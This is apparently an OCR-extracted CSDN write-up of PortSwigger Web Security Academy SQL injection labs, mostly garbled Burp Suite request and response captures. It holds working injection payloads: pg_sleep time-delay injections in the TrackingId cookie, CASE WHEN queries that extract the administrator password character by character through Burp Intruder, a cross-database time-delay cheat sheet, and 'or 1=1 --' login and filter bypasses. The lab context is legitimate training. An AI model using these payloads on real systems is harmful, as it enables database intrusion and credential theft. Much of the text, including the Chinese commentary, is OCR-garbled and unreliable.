Cookie: session=rodBeweOsmfSENERIOMpIxDSDOTiwPTYS; Trackingld=gf MBORHRSFT\ixx' | (select sleep(10)) - | <link href=iresourcesiabheaderfcss/academylabHeader css rel=stylesheet>
Upgrade-Insecure-Requests: 1 <link href=iresour rce.css rel=stylesheet>
<title=Blind SQL injection with time delays<#itle=
=/head=
<hody=
<script sre="resourceslabheaderislabHeader js"=</script=
<div id="academyLabHeader">
=section class="academylLabBanner"=
<div class="cortainer">
=div class="logo"=</div=
=div class="title-container">
<=h2=Blind SOL injection with time delays<h2>
=a class="link-back" href="hitps: /portswigger netiweb-securtty/sgl-injectionblindab-time-delays"=
=svy version="1.1" id="Layer_1" xmins="httg: /iwrww w3 .org/2000/svg"
xmins:xlink="http: fwww w3 orgh 9880dink” x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28
30" xmlspace="preserve" title="back-arrow"=
<g=
<polygon points="1.4,0012126150,28.81.4 30 15.1 15"=</polygon=
=polygon points="14.3,012.9,1.2256,1512.9,28.5 143,30 28, 15"==/polygon=
<lg>
<fevg>
<la=
<idiv>
=dliv class="widg tainer-lab-status is-r "=
=span>=LAB=/span=
=p=Not solved=i>
- =span class="lab-status-icon"=</span=
¥ <idiv>
@ < + = Type a search term 0 matches @ < l;J = Type & search term 0 matche
CSDN @payMnet
Done 11,257 bytes | 348 mill
1y
Request Response
Raw | Params | Headers | Hex Raw Headers Hex HTML Render
GET JHTTRA A A
Host: acB91f491eab3efdi04021 2100750058 web-security-academy .net o
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: texthtml li Wxhtml+xml lication/xml;g=0.9. bp =08
Accept-Language: zh-CM zh;q=0.8,zh-TW,q=0.7 zh-HK;g=0 5 en-US;q=0 3 en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: hitps: fiacG91 f491eab3e6d304021 2100750058 web-security-academy .net/
Cookie: session=rodBeweCsmfSHWRRTOMpx0SDTiwPTYS, Trackingld=gf1 MBORthIFTVixx' || (select po_sleep(10)) --
Upgrade-Insecure-Requests: 1
CSDN @bayOnet
HT
Request Response




M Params. | Headers | Hex |

M Headers | Hex | HTHWIL ‘ Render
GET /HTTPI1.1 A HTTPA 1 200 OK E
Host: acB91f491eab3e6d30402121 00750058 . web-security-academy net P Content-Type: texthtml, charset=utf-3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Connection: close
Accept: textihtml, Vfehtml+eml WKIT 0.9 A 8 Content-Length: 13008
Accept-Language: zh-CN,zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0 .2
Accept-Encoding: gzip, deflate <IDOCTYPE htmi>
Connection: close <html>
Referer: hitps: liac691 f491 eab326dB04021 2100750058 web-securtty-acadzmy net/ <head>
Cookie: session=ro4BeweQsmfSHWpRIOMplx0SDTiwPTVY, Trackingld=af1 MBORthIF T'txx' || (select ng_l;leenﬁ o) -- <link href=fresourceslabheader/css/academylLabHeader css rel=stylesheet=
Upgrade-Insecure-Reguests: 1 <link href=/resour: mmerce css rel=stylesheet=>
itl=>Blind SOL injection with time delays /i
<head>
<body>

=script sre="resourcesfabheaderjslabHeader js"=</script=

=div id="acacdemyLabHeader">
=section class="academyLabBanner is-solved">
I <dliv class="cortainer">
=div class="logo"==/div=
<dliv class="title-container"=
<h2=Blind SQL injection with time delays</h2=
<a class="link-back" href="https:/iportswigger netiweh-security/sql-inection/blindlah-time-delays">
to&nbsp;lab&nbsp;d ipti wersion="1 1" id="Layer_1"
¥mins="http:Mwww . w3 org/2000/svg" xmins: xlink="http: Awoww w3.orgN 999/xlink” x="0px" y="0px" viewBox="0 0 28

30" enable-background="new 0 0 28 30" xml space="preserve" ttle="back-arrow">
<g>

<polygon poirts="1 4,0 0,1.212.6,15 0 28,8 1.4 30 151 15"></polygon>
<polygon points="14.3012.91.2 256,15 12.9,28 & 143,30 26 15"><polygon=
<lg=
<Isvg=
<fa>
<fdiv=
<div class="widgetcortainer-lab-status i lved"=
<span=LAB=/span=
<p=Solved</p=
<span class="lab-status-icon">=igpan>
<fdiv=

-

<leliv=

-
| 11
o 8 smares | @ (2] (2] (5] e oo N o

CoRBRA NGk,

Done

108D B Th FE A

Web Security Blind SQL injection with time delays

Academ! l i Back to lab description »

Congratulations, you solved the lab!

W Share your skills! Continue Eﬁﬂmﬁi’baym‘mt
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BRERFMHEEMZENIE SQL i+

S v
A

[ Al
SBE sEmr L

FILWBE—SOL EXiRE. WARFERRER cookie #iToHr, FHHITESEIEAI cookie {ERY SQL Eifl,

SQL EEERT2IRE, HENFEFTSREENESREEHITHESHEEMMEE T R, 82, &HF
EREFESRHTH, BRI R S AHEh R SR

HIEFESE—8H A EFEusers, HFlEHusernaneflpassword, EZEEFESOLE TmEHH
administratorBEPRIED,

ERATE, BlladministratorBREHER.

A B ~

RLiZRE LSRR AR b, BHER, FrUBIEERR M ZEE

SESEE:N

R AN s MR RE I S A R R A AT ERER.

EF%K SELECT CASE WHEN (YOUR-CONDITION-HEERE) THEN
'a'||dbms pipe.receive message(('a'),10) ELSE NULL END FROM dual

(LN IF (YOUR-CONDITICN-HERE) WAITFOR DELAY "0:0:107

PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg sleep(10) ELSE
rg sleep(0) END

MySQL SELECT IF(YOUR-CONDITICN-HERE,slesp(l0),'a'") CSDN @bayOnet

BrilE— T A IR IE R HI1E A

1=1 pg_sleep(10 pg_sleep




Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTM Render
GET /HTTPM A ' HTTPA 1 200 OK
Host: ac721fcd1 f6f42638011 0cl3800d300b4 . web-security-academy .net P Content-Type: texthtml, charset=utf-8 il
User-Agent: Mozilla/s.0 (Mndows NT 10.0; Wing4, x64; rv:88.0) Gecko/20100101 Firefoxis9.0 Connection: close
Accept texthtml | xhtml+xml @pplicationfxml; =R bp 'tg=0.8 Cortent-Length: 11245
Accept-Language: zh-CN zh;g=0.8 zh-Tw;g=0.7 zh-HK;q=0.5,en-US;q=0.3 en,g=0.2
Accept-Encoding: gzip, deflate <IDQCTYPE htmi=
Connection: close <htmi=
Referer: htps: iacT21{dd1 fEf4e6380f1 0d3800d300k4 web-security-academy .net/! =head= I
Cookie: session=Nz5SdkkFaht:Xwarh1ftMftp@aeBeBhPrd; Trackingld=ePlpirHyNAdeiCuL' || (select case when(1=1] then <link href=iresourceslabheadericssiacademylLabHeader css rel=stylesheet=
po_sleep(10) else pog_sleep(-1) end) -- qwel <link href=iresourcesicssilabsEcommerce css rel=stylesheet=
Upgrade-Insecure-Requests: 1 <title=Blind SQL injection with time delays and information retrieval=fitle>
<head=
<body>
<script sre="resourcesfabheaderjslabHeader js"==/script=
<div id="academyLabHeader">
=section class="academylLabBanner">
<div class="container"=
=div class="logo">=idiv>
<dliv class="title-container"=
<hZ=Blind SOL injection with time delays and information retrieval</h2=
=a class="link-hack"
href="https: iportswigger netiweb-securityisgl-iniectionblindlab-time-delays-info-retrisval'=
<5Vg VErsion= " xmins="http: fweww w3 org/2000isvg"
xming: slink="http:fwww w3.orgi 999/xlink" x="0px" y="0px" viewBox="0 0 23 30" enable-background="new 0 0 28
30" xml:space="preserve title="back-arrow"=
<g=
=polygon points="1.4001212615028.81.4 30151 15"=</polygon=
=polygon points="14.3,012.91.2 256,15 12928 8 14.3 30 28,15"></polygon=
<lg»
<lsvgs
<la>
<fdiv=
=div class="widgetcontainer-lab-status is-notsolved">
<span=LAB</span=
- <p=Hot solved</p= 9
v <span class="lab-status-icon"></span=> |
0 matches < + = 0 matche:
@ °© W CEDM@paY0net
Done 11,345 byted | 10,333 mill
T SE IS
pg_sleep(1 _sleep
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /HTTPH A ' HTTPA 1 200 CK i
Host: ac721 fec1 fEf4e633071 0d3800d300b4 web-security-academy .net r Content-Type: textitml, charset=utf-g I |
User-Agent: Mozillais.0 (Aindows MT 10.0; WinG4; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Connection: close
Accept: texthtml html+xml,apy 1xn imag: P =08 Contert-Length: 11245
Accept-Language: zh-CN zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate <IDACTYPE html>
Connection: close <html=
Referer: https: ifac7211dd1 f6f4e6380110ci3800430004 .web-securty-academy .net/ <head> I~
Cookie: session=NzSdkkFaht}{warhl fitfipSeeBeBbPr4; Trackingld=ePlpirHyMAdeiCuU' | (select case when(1=2] then <link href=hesourceslabheader/cssiacademylabHeader css rel=stylesheet>
pa_sleep(10) else pg_sleep(-1) end) -- | <link href=fresourcesi/cssNabsEcommerce css rel=stylesheet=
Upgrade-Insecure-Requests: 1 <title>Blind SOL injection with time delays and information retrieval=fitl=>
<head=
<hody=
<script sre="resourceslabheaderjslabHeader js"=</script=
=div id="academyLabHeader">
=sgection class="academyLahBanner">
<div class="container"=
=dliv class="logo"></div>
=div class="title-container">
<h2=Blind SOL injection with time delays and information retrieval=mh2>
=a class="link-back"
href="https: iportswigger .net/iweb-securty/sql-injectionklindlab-time-delays-info-retrieval's
<svy version="1.1"i ayer_1" xmins="hitp: hweww w3.orgl2000/svg"
xming:xlink="rttp: fwww w3.orgfl 999050nk" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28
30" xml space="preserve" title="back-arrow"=
<g=
<polygon points="1.4,00,1.212.6150,28.8 1.43015.1 15"=<Molygon=
=polygon points="143012912 256,15 129288 14.3,30 28 15"=<polygon=
<lg>
<fsvg>
=iaz
<ldiv=
=div class="widgetcontainer-lab-status is-notsolved">
=span=LAB=ispan=
- =p=Hot solved<ip= L
¥ =span class="lab-status-icon"=</span= \ 1
@ w u u iy 0 matches @ u [;J [;J iy \U matches
r = i
Done csb '11%453y!(egrisahwl\k

EWER
A Fwhen B [ i 2 {1 4 it F P 44




administrator’

Request

Raw | Params | Headers | Hex

en pg_sleep(10) else pg sleep(-1) end from users

Response

Raw | Headers | Hex | HTML | Render

GET [HTTPH 1

Host: ac721fdd1 fEf4e538011 0d3800d300k4 weh-security-academy net

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64; rv:89.0) Geckoi20100101 Firefox/g2.0
Accept: textitml application/xhtml+xml applicationfmlg=0 9 i p =08
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7 zh-HK;q=0 5 en-US;q=0 3 en,g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https: iac721 fdd1 fEf4e638011 0d3800d300k4 web-security-academy net/

Cookie: session=NzSdkkFahtXwQrh1fitftpSasBeBbPrd; Trackingld=ePlpirHyMNAdeiCuy' || (select case
when({username="administrator') then pg_sleep(10) else pg_sleep(-1) end from users) --
Upgrade-Insecure-Requests: 1

o BEEE

Done

R RE IR B 77 72

administrator’

from users

0 matches @ u u u T

HTTRI1 1 200 OK [a
Content-Type: texthtml, charset=utf-8

Connection: close

Content-Length: 11245

T

)CTYPE htmi>
<html>
<heack=
<link href=iresourceslabheader/cssfacademyLabHeader css rel=styleshest>
<link href=iresourcesicssilabsEcommerce css rel=stylesheet>
<ttle=Blind SOL injection with time delays and information retrieval=file=
=head=
<body=>
<script sre="resourceslabheaderfslabHeader js"></script>

=div id="academyLabHeader">
<section class="academylLabBannsr'=
<div class="container"s
=div class="logo"><fdiv=
=div class="title-container">
<h2=Blind SAL injection with time delays and information retrieval=</i2=
<a class="link-back"
href="hitps: liportswigger netineb-security/sgl-injection/biindlab-time-delays-info-retrieval">

<gvg version="1.1" id="Layer_1" xmins="http: fwww w3.org/2000/svg"
hittp: dhwew w3 orgil 999 ixdink’ "Dpx" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 25
30" xml:space="preserve" title="back-arrow"=

xmins:xlinl

="1.40012126150,285 1430151 15" ><ipolygon=
4301291225615129 286 14.330 28,15"=<jpolygon=

=div class="widgetcontainer-lab-status is-notsolved">
<span>LAB</span>

- <p=Hot solved=ip> -

¥ <span class="lah-status-icon"></span> \ v

d 0 matches
e

CSORN 4Qwe7
11,345 bytes [10,344 milis

th(password)>1) then pg _sleep(10) else pg sleep(-1) end




Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTM Render

SET/HTTPA A

Host: acT21fdd1 1642638011 0d3800c300b4 weh-security-academy net

Jser-Agent: Mozillais 0 (AMndows NT 10.0; Wing4; x v:89.0) Gecko/20100101 Firefox/59.0
Accept: textMiml application/xhtmi+xml application 9 bp H*g=08

Accept-Langusge: zh-CN,zh; .8,zh-TW,gq=0.7 zh-HK; =0 5 en-US;g=0 3 en;q=0.2
&ccept-Encoding: gzip, deflate

Connection: close

Referer: hitps:/facT 21 fdd1 16742638011 0cl3500d3000b4 \web-security-academy net/

Cookie: session=Mz5ckkFahtXwlrhl ftMftpdaeBeBbPr4; Trackingld=ePlpirHyMNAdeiCul!' || (select case
when{username="administrator' and length{password)=1) then pg_sleep(10) else pg_sleep(-1) end from users) -
Jpgrade-Insecure-Requests: 1

° BEBE

Done

BRIER20KE
WE~E CARJE TR e — Tt 1 ...

administrator

Hi#payloadi#

L

e
v

0 matches

HTTPA .1 200 OK

Content-Type: texthtml; charset=ut{-8
Connection: close

Contert-Length: 11245

<IDOCTYPE htmi=
<html=
<head=
=<link hr resourcesflabheadericsslacademylabHeader css rel=styleshest=
<link hrs resourcesicsslabsEcommerce css rel=stylesheet>
<title=Blind SAL injection with time delays and information retrieval=tile=
<head=
<hody=
=script sre="resourceslabheadzrislabHeader js"=</script=

=div id="academylLabHeader">
<section class="academyLakBanner'=
<div class="container">
=div class="logo"==/tiv=
<dliv class="title-container"=
<h2=Blind SOL injection with time delays and information retrieval<h2=
<a class="link-back"
href="hitps: iiportswigger .netiweb-security/sol-injectionblindiabtime-delays-info-retrieval">

=gvg version="1.1"id="Layer_1" xmins="http: /fwww.w3.orgi2000/svy"
xmins: xlink="http: ferwew w3 org/ 999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enahle-background="new 0 0 28
30" xml:space="preserve" title="back-arrow">

"1.4,00,1.212.6,15 0,28.8 1.4,30 15.1,15"</polygon=
43012912 256,15129,2858 14,330 28,15"></polygon=

<idiv=

=div class="widgetcortainer-lab-status is-notsolved">
<span=LAB</span=
<p>Not solved</p>
<span class="lab-status-icon"></span>

@ L) Do

@

TR

pg_sleep

e
v

0 matches

20714 "
11,346 bytes | 10,38l

0 milis

—r

Payload Positions

Start attack

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to paylead positions - see help for full details.

Attack type: l Cluster bomb

GET FHTTPA A

Host: acT21 fdd1 féf4e6380f1 0cl3800d300b4 web-security-academy .net

User-Agent: Mozilla/3.0 (Windows NT 10.0; WinG4; x84; rv.89.0) Gecko/20100101 Firefox/39.0
Accept: textitml licationfxhtml+xml lication Bimag bp ' g=08
Accept-Language: zh-CH zh;g=0.8 zh-TW;g=0.7 zh-HK;g=0 5 en-U5;g=0 3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https:ifac721 fdd1fEf4e6380f1 0d3800d300b4 web-security-academy net/

USEIS) --
Upgrade-Insecure-Reguests: 1

Cookie: session=MNzSdkkFaktXwrh1 ftMftpdasBeBhPrd; Trackingld=ePlpirHyNAdeiCul' || (select case when{username="administrator' and substring(password §1§1 )='§a§b then pg_sleep(10) else pa_sleep(-1) end from

e

S
C5DI

@ Payload Sets

“‘ou can define one or more payload setz. The number of payload sets depends on the attack

customized in different ways.

Payload set: l 1

|*|
|*|

Payload count: 20

Payload type: |_Nun1ber5 Reguest count: 0

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

{UMOET range

Add §

Clear §
Auto §
Refresh




Type: (® Seguential () Random

From: 1
To: 20
Step: 1
How many:

CSDN @bayOnet

@ Payload Sets

“ou can define one or more paylead sets. The number of payload sets depends on the attack type defined in the Positions ti
customized in different ways.

Payload =et: l2 | ‘F] Payload count. 38

Payload type: l Brute forcer | ‘F] Reguest count: 720

@ Payload Options [Brute forcer]

Thiz payload type generates payloads of specified lengths that contain all permutations of a specified character set.

Character set. | abcdefghiklmnopgretuvwxyz0123458789

Min length: 1

Max length:

CSDN @bayOnet

Intruder attack 5 — O >

Afttack Sawve Columns

J Results T Target T Positions T Payloads TOptiDns ]

| Fitter: Showing all tems ‘@
Request | Payload1 | Payload2 Status | Error | Time... 1| Length | Comment

&9 9 d 200 O O 11346 ,‘.‘
70 10 d 200 O O 11346

71 11 d 200 O O 11346

72 12 d 200 O O 11348 T
73 13 d 200 O O 11346 —~
74 14 d 200 O O 11346

75 15 d 200 O O 11346

76 16 d 200 O O 11346

77 17 d 200 O O 11346

78 18 d 200 O O 11346 L
79 19 d 200 O O 11346 v
LS > e

CSDN @bayOnet




RAMRA HIburpREIRBHLRERIALE, B HRA R —HEIE A LRI RIK A, RIT
A i e R XA

Target Positions Payloads Resource Pool Options

@ Resource Pool

Specify the resource pool in which the attack will be run. Resource pools are used to manage the usage of system resources across multiple tasks.

o Use existing resource pool

Selected Resource pool Max concurrent requests Delay between requests
Default resource pool 10
o Custom resource pool 1 1

CSDN @bayOnet

BRI

E513

A S, - 3 = ~

SCIOZE . TIMCERE SQL jEA

GBE wemx L

ATRES—S0L 55RE, NEEEEEEE cookie HTST, HHTE 5125589 cookie {E/Y SQL &,

SQL HRESEHTH, WAEEFNAGSEEE, B2, EuLEE Soamsarssarg,
ARG EREIE, FIRSOL i) RKiERT Burp Collaborator i#4T DNS &%,

B FIBE
NMEEEERINTIEE, BIEATRNENEISEZEENRIEFREENTRE —ENTE. NRIRER
F7, TERL; —BEH—rERETENAR, SEREEE,

EES

ATEALE Academy FFEEBTIHEE=S, BRI MESBIFTR=SFE/WNTRSEZ AR E. SRATE
=, Znfe Burp Collaborator BIERA2HARSE RS ( burpeollaborator. net),

A B ~
C5DN @bayOnet

BRARIBFELHOX, HRER, B ERP R
K14
F13—H, BERERE S TXXE, FEHEMERE TS AREHE



EH15

ScIb=: WHERE FARf SQL I NREAILE
R

= oame | L
BELREAAENTREPEE—CSOL T RE. BEPSE—ERN, NEEFRSHRTINT SQL EaEl
SELECT * FEOM products WHERE category = 'Gifts' AND released = 1

AT EERE, HiT SQLIEAINTEG, ENEEFREMITAERGEEAEERER, 8RB EmiEAET,
s SIp—

HIRESRWAN or 1=1 - BT T

web-security-academy.net,

Web security Ei(ciilaeigjggttg)n vulnerability in WHERE clause allowing retrieval of s . A
Academy
’E Back to lab description ‘
Home

WE LIKE TO

SHOP ~<

"or 1=1 -- AND released = 1

CSDN @bayOnet
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G OIFS

isEER | L

(a2

ALHRBSEREEFISOL T EE.

9 SQL JFNFIRE

RTERETL, 4T SQLE IS, Lladninistrator BREBLERINERERE,

Request

Raw | Params | Headers

AT CSDN @bayOnet

Response

Headers | Hex | HTML | Render

POST fogin HTTPA 1

Host: ac271faaleac3eh98047339c00Lf002d web-security-academy net

User-Agent: Mozillais.0 (Windows NT 10.0; Win64 x64; v BQ 0) Gecko/20100101 Firefox/39.0
Accept: textmtml applicationfxhtml+xml appli \ P, q=08
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 zh-| HKq-OSen US;g=0.3 em;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Contert-Length: 76

Origin: https: iac271faaleac3eb98047339c00bf002d web-security-academy net
Connection: close

Referer: hitps:ifac2711aal eac3eb280473359c00bf002d. web-security-acadeamy netlogin
Cookie: session=Zr3xDc02BF gorwdl 442y 2h4 Y RgMco
Upgrade-Insecure-Requests: 1

esrf=P57tnohnCO Y 7hdCXHHC A28 Xh0gOs 2 Z8username=administrator &password=123456

gt BT

administrator'

HTTPA 1 200 OK

Content-Type: textitml; charset=ut{-8
Connection: close

Content-Length: 3277

<IDOCTYPE html>
<html=
<head=
<link href=iresourcesilabheader icss/academyl abHeader css rel=stylesheet>
<link href=iresourcesices/abs css rel=stylesheet=
<title=S 0L injection vulnerability allowing login bypass<fitle>
<head=
<body=
<script sre="resourceslabheaderjslabHeader js"=</script>

<div id="academyLabHeader"=
<section class="academyLabBanner'=
=div class="container"=
<div clags="logo"=</div>
=div class="title-container"=

<h2=5QL injection vulnerability allowing login bypass<h2=

<a ic='lab-link' class="button' href='/>Back to lab home=</a=

<a class="link-back" href="https: ljportswigger net/web-securitysql-injectionlab-login-bypass">

=gvyg version="1.1"id="Layer_1" xmins="http: fiwww w3.org/2000isvy"
wmins: slink="Tttp: Sfweww w3 orgil 9990dink” x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28
30" xml:space="preserve" titte="back-arrow"= r:: D J fou ‘_J il:/Ul’\ et
“g=

Web Securlty SQL injection vulnerabi

Cademy _i l Back to lab description »

Congratulations, you solved the lab!

ity allowing login bypass

Y Share your skills! Continue learning »

—BRANFRT , FFMILRME TR, ERBXET, BT

Home | My account ] Loq out
SDN @bayOne
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